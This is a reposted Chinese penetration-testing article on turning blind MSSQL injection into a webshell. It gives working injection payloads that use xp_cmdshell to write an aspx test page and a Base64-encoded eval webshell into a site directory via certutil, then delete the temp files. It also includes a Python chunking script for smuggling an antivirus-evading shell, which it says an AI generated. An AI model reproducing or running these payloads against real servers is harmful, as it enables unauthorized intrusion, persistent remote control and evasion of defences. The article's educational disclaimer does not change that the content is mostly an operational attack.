文章总结: 本文详细介绍了MSSQL注入从无回显到getshell的完整攻击链,包括判断堆叠查询、SA权限和xp_cmdshell可用性等前置条件,通过DNS出网方式获取网站路径,利用Base64分段传输和免杀技术写入webshell。文章提供了具体操作命令和规避安全防护的方法,强调技术仅用于教育目的。 综合评分: 85 文章分类: 渗透测试,WEB安全,内网渗透,漏洞分析,安全工具
2.写入webshell
先写个aspx脚本尝试:
admin';EXEC xp_cmdshell 'echo ^<^%@ Page Language="C#" ^%^>^<^% Response.Write("hello world"); ^%^> > "D:\LocalHost\onlineshop\attendance.in\images\fayfag.aspx"';--
正常写入一句话:
写入临时Base64文件
admin'; exec master.dbo.xp_cmdshell 'echo PCVldmFsIHJlcXVlc3QoInBhc3MiKSU+ > C:\Windows\Temp\askfle.b64'--
解码到网站目录
admin'; exec master.dbo.xp_cmdshell 'certutil -decode C:\Windows\Temp\askfle.b64 D:\xxx\images\fayfag.aspx'--
清理临时文件
admin; exec master.dbo.xp_cmdshell 'del C:\Windows\Temp\askfle.b64'--
页面返回503 且疑似有杀软
利用AI 生成aspx的免杀shell
分段传输:
import base64
def split_base64(file_path, chunk_size=2000): with open(file_path, 'rb') as f: b64 = base64.b64encode(f.read()).decode('ascii') # 分割 chunks = [b64[i:i+chunk_size] for i in range(0, len(b64), chunk_size)] return chunks
chunks = split_base64('shell.aspx', 2000)for i, chunk in enumerate(chunks): print(f'-- chunk {i+1} / {len(chunks)} --') print(chunk)
使用 >> 追加,> 会覆盖。其他同上:
admin'; exec master.dbo.xp_cmdshell 'echo [块内容] >> C:\Windows\Temp\payload.b64' --
外部交流群
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:凌曦安全 凌曦安全 凌曦安全《MSSQL–无回显到getshell》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。







评论